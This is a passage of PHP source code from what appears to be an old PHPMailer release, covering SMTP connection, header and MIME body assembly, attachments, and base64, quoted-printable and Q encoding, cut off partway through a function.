  1922.   }
  1923.  
  1924.   /**
  1925.    * Initiates a connection to an SMTP server.  Returns false if the
  1926.    * operation failed.
  1927.    * @access private
  1928.    * @return bool
  1929.    */
  1930.   function SmtpConnect() {
  1931.     if($this->smtp == NULL) {
  1932.       $this->smtp = new SMTP();
  1933.     }
  1934.  
  1935.     $this->smtp->do_debug = $this->SMTPDebug;
  1936.     $hosts = explode(';', $this->Host);
  1937.     $index = 0;
  1938.     $connection = ($this->smtp->Connected());
  1939.  
  1940.     /* Retry while there is no connection */
  1941.     while($index < count($hosts) && $connection == false) {
  1942.       $hostinfo = array();
  1943.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1944.         $host = $hostinfo[1];
  1945.         $port = $hostinfo[2];
  1946.       } else {
  1947.         $host = $hosts[$index];
  1948.         $port = $this->Port;
  1949.       }
  1950.  
  1951.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1952.         if ($this->Helo != '') {
  1953.           $this->smtp->Hello($this->Helo);
  1954.         } else {
  1955.           $this->smtp->Hello($this->ServerHostname());
  1956.         }
  1957.  
  1958.         $connection = true;
  1959.         if($this->SMTPAuth) {
  1960.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1961.             $this->SetError($this->Lang('authenticate'));
  1962.             $this->smtp->Reset();
  1963.             $connection = false;
  1964.           }
  1965.         }
  1966.       }
  1967.       $index++;
  1968.     }
  1969.     if(!$connection) {
  1970.       $this->SetError($this->Lang('connect_host'));
  1971.     }
  1972.  
  1973.     return $connection;
  1974.   }
  1975.  
  1976.   /**
  1977.    * Closes the active SMTP session if one exists.
  1978.    * @return void
  1979.    */
  1980.   function SmtpClose() {
  1981.     if($this->smtp != NULL) {
  1982.       if($this->smtp->Connected()) {
  1983.         $this->smtp->Quit();
  1984.         $this->smtp->Close();
  1985.       }
  1986.     }
  1987.   }
  1988.  
  1989.   /**
  1990.    * Sets the language for all class error messages.  Returns false
  1991.    * if it cannot load the language file.  The default language type
  1992.    * is English.
  1993.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  1994.    * @param string $lang_path Path to the language file directory
  1995.    * @access public
  1996.    * @return bool
  1997.    */
  1998.   function SetLanguage($lang_type, $lang_path = 'language/') {
  1999.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2000.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2001.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2002.       include($lang_path.'phpmailer.lang-en.php');
  2003.     } else {
  2004.       $this->SetError('Could not load language file');
  2005.       return false;
  2006.     }
  2007.     $this->language = $PHPMAILER_LANG;
  2008.  
  2009.     return true;
  2010.   }
  2011.  
  2012.   /////////////////////////////////////////////////
  2013.   // METHODS, MESSAGE CREATION
  2014.   /////////////////////////////////////////////////
  2015.  
  2016.   /**
  2017.    * Creates recipient headers.
  2018.    * @access private
  2019.    * @return string
  2020.    */
  2021.   function AddrAppend($type, $addr) {
  2022.     $addr_str = $type . ': ';
  2023.     $addr_str .= $this->AddrFormat($addr[0]);
  2024.     if(count($addr) > 1) {
  2025.       for($i = 1; $i < count($addr); $i++) {
  2026.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2027.       }
  2028.     }
  2029.     $addr_str .= $this->LE;
  2030.  
  2031.     return $addr_str;
  2032.   }
  2033.  
  2034.   /**
  2035.    * Formats an address correctly.
  2036.    * @access private
  2037.    * @return string
  2038.    */
  2039.   function AddrFormat($addr) {
  2040.     if(empty($addr[1])) {
  2041.       $formatted = $this->SecureHeader($addr[0]);
  2042.     } else {
  2043.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2044.     }
  2045.  
  2046.     return $formatted;
  2047.   }
  2048.  
  2049.   /**
  2050.    * Wraps message for use with mailers that do not
  2051.    * automatically perform wrapping and for quoted-printable.
  2052.    * Original written by philippe.
  2053.    * @access private
  2054.    * @return string
  2055.    */
  2056.   function WrapText($message, $length, $qp_mode = false) {
  2057.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2058.     // If utf-8 encoding is used, we will need to make sure we don't
  2059.     // split multibyte characters when we wrap
  2060.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2061.  
  2062.     $message = $this->FixEOL($message);
  2063.     if (substr($message, -1) == $this->LE) {
  2064.       $message = substr($message, 0, -1);
  2065.     }
  2066.  
  2067.     $line = explode($this->LE, $message);
  2068.     $message = '';
  2069.     for ($i=0 ;$i < count($line); $i++) {
  2070.       $line_part = explode(' ', $line[$i]);
  2071.       $buf = '';
  2072.       for ($e = 0; $e<count($line_part); $e++) {
  2073.         $word = $line_part[$e];
  2074.         if ($qp_mode and (strlen($word) > $length)) {
  2075.           $space_left = $length - strlen($buf) - 1;
  2076.           if ($e != 0) {
  2077.             if ($space_left > 20) {
  2078.               $len = $space_left;
  2079.               if ($is_utf8) {
  2080.                 $len = $this->UTF8CharBoundary($word, $len);
  2081.               } elseif (substr($word, $len - 1, 1) == "=") {
  2082.                 $len--;
  2083.               } elseif (substr($word, $len - 2, 1) == "=") {
  2084.                 $len -= 2;
  2085.               }
  2086.               $part = substr($word, 0, $len);
  2087.               $word = substr($word, $len);
  2088.               $buf .= ' ' . $part;
  2089.               $message .= $buf . sprintf("=%s", $this->LE);
  2090.             } else {
  2091.               $message .= $buf . $soft_break;
  2092.             }
  2093.             $buf = '';
  2094.           }
  2095.           while (strlen($word) > 0) {
  2096.             $len = $length;
  2097.             if ($is_utf8) {
  2098.               $len = $this->UTF8CharBoundary($word, $len);
  2099.             } elseif (substr($word, $len - 1, 1) == "=") {
  2100.               $len--;
  2101.             } elseif (substr($word, $len - 2, 1) == "=") {
  2102.               $len -= 2;
  2103.             }
  2104.             $part = substr($word, 0, $len);
  2105.             $word = substr($word, $len);
  2106.  
  2107.             if (strlen($word) > 0) {
  2108.               $message .= $part . sprintf("=%s", $this->LE);
  2109.             } else {
  2110.               $buf = $part;
  2111.             }
  2112.           }
  2113.         } else {
  2114.           $buf_o = $buf;
  2115.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2116.  
  2117.           if (strlen($buf) > $length and $buf_o != '') {
  2118.             $message .= $buf_o . $soft_break;
  2119.             $buf = $word;
  2120.           }
  2121.         }
  2122.       }
  2123.       $message .= $buf . $this->LE;
  2124.     }
  2125.  
  2126.     return $message;
  2127.   }
  2128.  
  2129.   /**
  2130.    * Finds last character boundary prior to maxLength in a utf-8
  2131.    * quoted (printable) encoded string.
  2132.    * Original written by Colin Brown.
  2133.    * @access private
  2134.    * @param string $encodedText utf-8 QP text
  2135.    * @param int    $maxLength   find last character boundary prior to this length
  2136.    * @return int
  2137.    */
  2138.   function UTF8CharBoundary($encodedText, $maxLength) {
  2139.     $foundSplitPos = false;
  2140.     $lookBack = 3;
  2141.     while (!$foundSplitPos) {
  2142.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2143.       $encodedCharPos = strpos($lastChunk, "=");
  2144.       if ($encodedCharPos !== false) {
  2145.         // Found start of encoded character byte within $lookBack block.
  2146.         // Check the encoded byte value (the 2 chars after the '=')
  2147.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2148.         $dec = hexdec($hex);
  2149.         if ($dec < 128) { // Single byte character.
  2150.           // If the encoded char was found at pos 0, it will fit
  2151.           // otherwise reduce maxLength to start of the encoded char
  2152.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2153.           $maxLength - ($lookBack - $encodedCharPos);
  2154.           $foundSplitPos = true;
  2155.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2156.           // Reduce maxLength to split at start of character
  2157.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2158.           $foundSplitPos = true;
  2159.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2160.           $lookBack += 3;
  2161.         }
  2162.       } else {
  2163.         // No encoded character found
  2164.         $foundSplitPos = true;
  2165.       }
  2166.     }
  2167.     return $maxLength;
  2168.   }
  2169.  
  2170.   /**
  2171.    * Set the body wrapping.
  2172.    * @access private
  2173.    * @return void
  2174.    */
  2175.   function SetWordWrap() {
  2176.     if($this->WordWrap < 1) {
  2177.       return;
  2178.     }
  2179.  
  2180.     switch($this->message_type) {
  2181.       case 'alt':
  2182.         /* fall through */
  2183.       case 'alt_attachments':
  2184.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2185.         break;
  2186.       default:
  2187.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2188.         break;
  2189.     }
  2190.   }
  2191.  
  2192.   /**
  2193.    * Assembles message header.
  2194.    * @access private
  2195.    * @return string
  2196.    */
  2197.   function CreateHeader() {
  2198.     $result = '';
  2199.  
  2200.     /* Set the boundaries */
  2201.     $uniq_id = md5(uniqid(time()));
  2202.     $this->boundary[1] = 'b1_' . $uniq_id;
  2203.     $this->boundary[2] = 'b2_' . $uniq_id;
  2204.  
  2205.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2206.     if($this->Sender == '') {
  2207.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2208.     } else {
  2209.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2210.     }
  2211.  
  2212.     /* To be created automatically by mail() */
  2213.     if($this->Mailer != 'mail') {
  2214.       if(count($this->to) > 0) {
  2215.         $result .= $this->AddrAppend('To', $this->to);
  2216.       } elseif (count($this->cc) == 0) {
  2217.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2218.       }
  2219.       if(count($this->cc) > 0) {
  2220.         $result .= $this->AddrAppend('Cc', $this->cc);
  2221.       }
  2222.     }
  2223.  
  2224.     $from = array();
  2225.     $from[0][0] = trim($this->From);
  2226.     $from[0][1] = $this->FromName;
  2227.     $result .= $this->AddrAppend('From', $from);
  2228.  
  2229.     /* sendmail and mail() extract Cc from the header before sending */
  2230.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2231.       $result .= $this->AddrAppend('Cc', $this->cc);
  2232.     }
  2233.  
  2234.     /* sendmail and mail() extract Bcc from the header before sending */
  2235.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2236.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2237.     }
  2238.  
  2239.     if(count($this->ReplyTo) > 0) {
  2240.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2241.     }
  2242.  
  2243.     /* mail() sets the subject itself */
  2244.     if($this->Mailer != 'mail') {
  2245.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2246.     }
  2247.  
  2248.     if($this->MessageID != '') {
  2249.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2250.     } else {
  2251.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2252.     }
  2253.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2254.     $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2255.  
  2256.     if($this->ConfirmReadingTo != '') {
  2257.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2258.     }
  2259.  
  2260.     // Add custom headers
  2261.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2262.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2263.     }
  2264.     if (!$this->sign_key_file) {
  2265.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2266.       $result .= $this->GetMailMIME();
  2267.     }
  2268.  
  2269.     return $result;
  2270.   }
  2271.  
  2272.   /**
  2273.    * Returns the message MIME.
  2274.    * @access private
  2275.    * @return string
  2276.    */
  2277.   function GetMailMIME() {
  2278.     $result = '';
  2279.     switch($this->message_type) {
  2280.       case 'plain':
  2281.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2282.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2283.         break;
  2284.       case 'attachments':
  2285.         /* fall through */
  2286.       case 'alt_attachments':
  2287.         if($this->InlineImageExists()){
  2288.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2289.         } else {
  2290.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2291.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2292.         }
  2293.         break;
  2294.       case 'alt':
  2295.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2296.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2297.         break;
  2298.     }
  2299.  
  2300.     if($this->Mailer != 'mail') {
  2301.       $result .= $this->LE.$this->LE;
  2302.     }
  2303.  
  2304.     return $result;
  2305.   }
  2306.  
  2307.   /**
  2308.    * Assembles the message body.  Returns an empty string on failure.
  2309.    * @access private
  2310.    * @return string
  2311.    */
  2312.   function CreateBody() {
  2313.     $result = '';
  2314.     if ($this->sign_key_file) {
  2315.       $result .= $this->GetMailMIME();
  2316.     }
  2317.  
  2318.     $this->SetWordWrap();
  2319.  
  2320.     switch($this->message_type) {
  2321.       case 'alt':
  2322.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2323.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2324.         $result .= $this->LE.$this->LE;
  2325.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2326.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2327.         $result .= $this->LE.$this->LE;
  2328.         $result .= $this->EndBoundary($this->boundary[1]);
  2329.         break;
  2330.       case 'plain':
  2331.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2332.         break;
  2333.       case 'attachments':
  2334.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2335.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2336.         $result .= $this->LE;
  2337.         $result .= $this->AttachAll();
  2338.         break;
  2339.       case 'alt_attachments':
  2340.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2341.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2342.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2343.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2344.         $result .= $this->LE.$this->LE;
  2345.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2346.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2347.         $result .= $this->LE.$this->LE;
  2348.         $result .= $this->EndBoundary($this->boundary[2]);
  2349.         $result .= $this->AttachAll();
  2350.         break;
  2351.     }
  2352.  
  2353.     if($this->IsError()) {
  2354.       $result = '';
  2355.     } else if ($this->sign_key_file) {
  2356.       $file = tempnam("", "mail");
  2357.       $fp = fopen($file, "w");
  2358.       fwrite($fp, $result);
  2359.       fclose($fp);
  2360.       $signed = tempnam("", "signed");
  2361.  
  2362.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2363.         $fp = fopen($signed, "r");
  2364.         $result = fread($fp, filesize($this->sign_key_file));
  2365.         fclose($fp);
  2366.       } else {
  2367.         $this->SetError($this->Lang("signing").openssl_error_string());
  2368.         $result = '';
  2369.       }
  2370.  
  2371.       unlink($file);
  2372.       unlink($signed);
  2373.     }
  2374.  
  2375.     return $result;
  2376.   }
  2377.  
  2378.   /**
  2379.    * Returns the start of a message boundary.
  2380.    * @access private
  2381.    */
  2382.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2383.     $result = '';
  2384.     if($charSet == '') {
  2385.       $charSet = $this->CharSet;
  2386.     }
  2387.     if($contentType == '') {
  2388.       $contentType = $this->ContentType;
  2389.     }
  2390.     if($encoding == '') {
  2391.       $encoding = $this->Encoding;
  2392.     }
  2393.     $result .= $this->TextLine('--' . $boundary);
  2394.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2395.     $result .= $this->LE;
  2396.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2397.     $result .= $this->LE;
  2398.  
  2399.     return $result;
  2400.   }
  2401.  
  2402.   /**
  2403.    * Returns the end of a message boundary.
  2404.    * @access private
  2405.    */
  2406.   function EndBoundary($boundary) {
  2407.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2408.   }
  2409.  
  2410.   /**
  2411.    * Sets the message type.
  2412.    * @access private
  2413.    * @return void
  2414.    */
  2415.   function SetMessageType() {
  2416.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2417.       $this->message_type = 'plain';
  2418.     } else {
  2419.       if(count($this->attachment) > 0) {
  2420.         $this->message_type = 'attachments';
  2421.       }
  2422.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2423.         $this->message_type = 'alt';
  2424.       }
  2425.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2426.         $this->message_type = 'alt_attachments';
  2427.       }
  2428.     }
  2429.   }
  2430.  
  2431.   /* Returns a formatted header line.
  2432.    * @access private
  2433.    * @return string
  2434.    */
  2435.   function HeaderLine($name, $value) {
  2436.     return $name . ': ' . $value . $this->LE;
  2437.   }
  2438.  
  2439.   /**
  2440.    * Returns a formatted mail line.
  2441.    * @access private
  2442.    * @return string
  2443.    */
  2444.   function TextLine($value) {
  2445.     return $value . $this->LE;
  2446.   }
  2447.  
  2448.   /////////////////////////////////////////////////
  2449.   // CLASS METHODS, ATTACHMENTS
  2450.   /////////////////////////////////////////////////
  2451.  
  2452.   /**
  2453.    * Adds an attachment from a path on the filesystem.
  2454.    * Returns false if the file could not be found
  2455.    * or accessed.
  2456.    * @param string $path Path to the attachment.
  2457.    * @param string $name Overrides the attachment name.
  2458.    * @param string $encoding File encoding (see $Encoding).
  2459.    * @param string $type File extension (MIME) type.
  2460.    * @return bool
  2461.    */
  2462.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2463.     if(!@is_file($path)) {
  2464.       $this->SetError($this->Lang('file_access') . $path);
  2465.       return false;
  2466.     }
  2467.  
  2468.     $filename = basename($path);
  2469.     if($name == '') {
  2470.       $name = $filename;
  2471.     }
  2472.  
  2473.     $cur = count($this->attachment);
  2474.     $this->attachment[$cur][0] = $path;
  2475.     $this->attachment[$cur][1] = $filename;
  2476.     $this->attachment[$cur][2] = $name;
  2477.     $this->attachment[$cur][3] = $encoding;
  2478.     $this->attachment[$cur][4] = $type;
  2479.     $this->attachment[$cur][5] = false; // isStringAttachment
  2480.     $this->attachment[$cur][6] = 'attachment';
  2481.     $this->attachment[$cur][7] = 0;
  2482.  
  2483.     return true;
  2484.   }
  2485.  
  2486.   /**
  2487.    * Attaches all fs, string, and binary attachments to the message.
  2488.    * Returns an empty string on failure.
  2489.    * @access private
  2490.    * @return string
  2491.    */
  2492.   function AttachAll() {
  2493.     /* Return text of body */
  2494.     $mime = array();
  2495.  
  2496.     /* Add all attachments */
  2497.     for($i = 0; $i < count($this->attachment); $i++) {
  2498.       /* Check for string attachment */
  2499.       $bString = $this->attachment[$i][5];
  2500.       if ($bString) {
  2501.         $string = $this->attachment[$i][0];
  2502.       } else {
  2503.         $path = $this->attachment[$i][0];
  2504.       }
  2505.  
  2506.       $filename    = $this->attachment[$i][1];
  2507.       $name        = $this->attachment[$i][2];
  2508.       $encoding    = $this->attachment[$i][3];
  2509.       $type        = $this->attachment[$i][4];
  2510.       $disposition = $this->attachment[$i][6];
  2511.       $cid         = $this->attachment[$i][7];
  2512.  
  2513.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2514.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2515.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2516.  
  2517.       if($disposition == 'inline') {
  2518.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2519.       }
  2520.  
  2521.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2522.  
  2523.       /* Encode as string attachment */
  2524.       if($bString) {
  2525.         $mime[] = $this->EncodeString($string, $encoding);
  2526.         if($this->IsError()) {
  2527.           return '';
  2528.         }
  2529.         $mime[] = $this->LE.$this->LE;
  2530.       } else {
  2531.         $mime[] = $this->EncodeFile($path, $encoding);
  2532.         if($this->IsError()) {
  2533.           return '';
  2534.         }
  2535.         $mime[] = $this->LE.$this->LE;
  2536.       }
  2537.     }
  2538.  
  2539.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2540.  
  2541.     return join('', $mime);
  2542.   }
  2543.  
  2544.   /**
  2545.    * Encodes attachment in requested format.  Returns an
  2546.    * empty string on failure.
  2547.    * @access private
  2548.    * @return string
  2549.    */
  2550.   function EncodeFile ($path, $encoding = 'base64') {
  2551.     if(!@$fd = fopen($path, 'rb')) {
  2552.       $this->SetError($this->Lang('file_open') . $path);
  2553.       return '';
  2554.     }
  2555.     $magic_quotes = get_magic_quotes_runtime();
  2556.     set_magic_quotes_runtime(0);
  2557.     $file_buffer = fread($fd, filesize($path));
  2558.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2559.     fclose($fd);
  2560.     set_magic_quotes_runtime($magic_quotes);
  2561.  
  2562.     return $file_buffer;
  2563.   }
  2564.  
  2565.   /**
  2566.    * Encodes string to requested format. Returns an
  2567.    * empty string on failure.
  2568.    * @access private
  2569.    * @return string
  2570.    */
  2571.   function EncodeString ($str, $encoding = 'base64') {
  2572.     $encoded = '';
  2573.     switch(strtolower($encoding)) {
  2574.       case 'base64':
  2575.         /* chunk_split is found in PHP >= 3.0.6 */
  2576.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2577.         break;
  2578.       case '7bit':
  2579.       case '8bit':
  2580.         $encoded = $this->FixEOL($str);
  2581.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2582.           $encoded .= $this->LE;
  2583.         break;
  2584.       case 'binary':
  2585.         $encoded = $str;
  2586.         break;
  2587.       case 'quoted-printable':
  2588.         $encoded = $this->EncodeQP($str);
  2589.         break;
  2590.       default:
  2591.         $this->SetError($this->Lang('encoding') . $encoding);
  2592.         break;
  2593.     }
  2594.     return $encoded;
  2595.   }
  2596.  
  2597.   /**
  2598.    * Encode a header string to best of Q, B, quoted or none.
  2599.    * @access private
  2600.    * @return string
  2601.    */
  2602.   function EncodeHeader ($str, $position = 'text') {
  2603.     $x = 0;
  2604.  
  2605.     switch (strtolower($position)) {
  2606.       case 'phrase':
  2607.         if (!preg_match('/[\200-\377]/', $str)) {
  2608.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2609.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2610.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2611.             return ($encoded);
  2612.           } else {
  2613.             return ("\"$encoded\"");
  2614.           }
  2615.         }
  2616.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2617.         break;
  2618.       case 'comment':
  2619.         $x = preg_match_all('/[()"]/', $str, $matches);
  2620.         /* Fall-through */
  2621.       case 'text':
  2622.       default:
  2623.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2624.         break;
  2625.     }
  2626.  
  2627.     if ($x == 0) {
  2628.       return ($str);
  2629.     }
  2630.  
  2631.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2632.     /* Try to select the encoding which should produce the shortest output */
  2633.     if (strlen($str)/3 < $x) {
  2634.       $encoding = 'B';
  2635.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2636.      // Use a custom function which correctly encodes and wraps long
  2637.      // multibyte strings without breaking lines within a character
  2638.         $encoded = $this->Base64EncodeWrapMB($str);
  2639.       } else {
  2640.         $encoded = base64_encode($str);
  2641.         $maxlen -= $maxlen % 4;
  2642.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2643.       }
  2644.     } else {
  2645.       $encoding = 'Q';
  2646.       $encoded = $this->EncodeQ($str, $position);
  2647.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2648.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2649.     }
  2650.  
  2651.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2652.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2653.  
  2654.     return $encoded;
  2655.   }
  2656.  
  2657.   /**
  2658.    * Checks if a string contains multibyte characters.
  2659.    * @access private
  2660.    * @param string $str multi-byte text to wrap encode
  2661.    * @return bool
  2662.    */
  2663.   function HasMultiBytes($str) {
  2664.     if (function_exists('mb_strlen')) {
  2665.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2666.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2667.       return False;
  2668.     }
  2669.   }
  2670.  
  2671.   /**
  2672.    * Correctly encodes and wraps long multibyte strings for mail headers
  2673.    * without breaking lines within a character.
  2674.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2675.    * @access private
  2676.    * @param string $str multi-byte text to wrap encode
  2677.    * @return string
  2678.    */
  2679.   function Base64EncodeWrapMB($str) {
  2680.     $start = "=?".$this->CharSet."?B?";
  2681.     $end = "?=";
  2682.     $encoded = "";
  2683.  
  2684.     $mb_length = mb_strlen($str, $this->CharSet);
  2685.     // Each line must have length <= 75, including $start and $end
  2686.     $length = 75 - strlen($start) - strlen($end);
  2687.     // Average multi-byte ratio
  2688.     $ratio = $mb_length / strlen($str);
  2689.     // Base64 has a 4:3 ratio
  2690.     $offset = $avgLength = floor($length * $ratio * .75);
  2691.  
  2692.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2693.       $lookBack = 0;
  2694.  
  2695.       do {
  2696.         $offset = $avgLength - $lookBack;
  2697.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2698.         $chunk = base64_encode($chunk);
  2699.         $lookBack++;
  2700.       }
  2701.       while (strlen($chunk) > $length);
  2702.  
  2703.       $encoded .= $chunk . $this->LE;
  2704.     }
  2705.  
  2706.     // Chomp the last linefeed
  2707.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2708.     return $encoded;
  2709.   }
  2710.  
  2711.   /**
  2712.    * Encode string to quoted-printable.
  2713.    * @access private
  2714.    * @return string
  2715.    */
  2716.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2717.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2718.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2719.     $eol = "\r\n";
  2720.     $escape = '=';
  2721.     $output = '';
  2722.     while( list(, $line) = each($lines) ) {
  2723.       $linlen = strlen($line);
  2724.       $newline = '';
  2725.       for($i = 0; $i < $linlen; $i++) {
  2726.         $c = substr( $line, $i, 1 );
  2727.         $dec = ord( $c );
  2728.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2729.           $c = '=2E';
  2730.         }
  2731.         if ( $dec == 32 ) {
  2732.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2733.             $c = '=20';
  2734.           } else if ( $space_conv ) {
  2735.             $c = '=20';
  2736.           }
  2737.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2738.           $h2 = floor($dec/16);
  2739.           $h1 = floor($dec%16);
  2740.           $c = $escape.$hex[$h2].$hex[$h1];
  2741.         }
  2742.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2743.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2744.           $newline = '';
  2745.           // check if newline first character will be point or not
  2746.           if ( $dec == 46 ) {
  2747.             $c = '=2E';
  2748.           }
  2749.         }
  2750.         $newline .= $c;
  2751.       } // end of for
  2752.       $output .= $newline.$eol;
  2753.     } // end of while
  2754.     return trim($output);
  2755.   }
  2756.  
  2757.   /**
  2758.    * Encode string to q encoding.
  2759.    * @access private
  2760.    * @return string
  2761.    */
  2762.   function EncodeQ ($str, $position = 'text') {
  2763.     /* There should not be any EOL in the string */
  2764.     $encoded = preg_replace("[\r\n]", '', $str);
  2765.  
  2766.     switch (strtolower($position)) {
  2767.       case 'phrase':
  2768.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2769.         break;
  2770.       case 'comment':
  2771.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2772.       case 'text':
  2773.       default:
  2774.         /* Replace every high ascii, control =, ? and _ characters */
  2775.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2776.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2777.         break;
  2778.     }
  2779.  
  2780.     /* Replace every spaces to _ (more readable than =20) */
  2781.     $encoded = str_replace(' ', '_', $encoded);
  2782.  
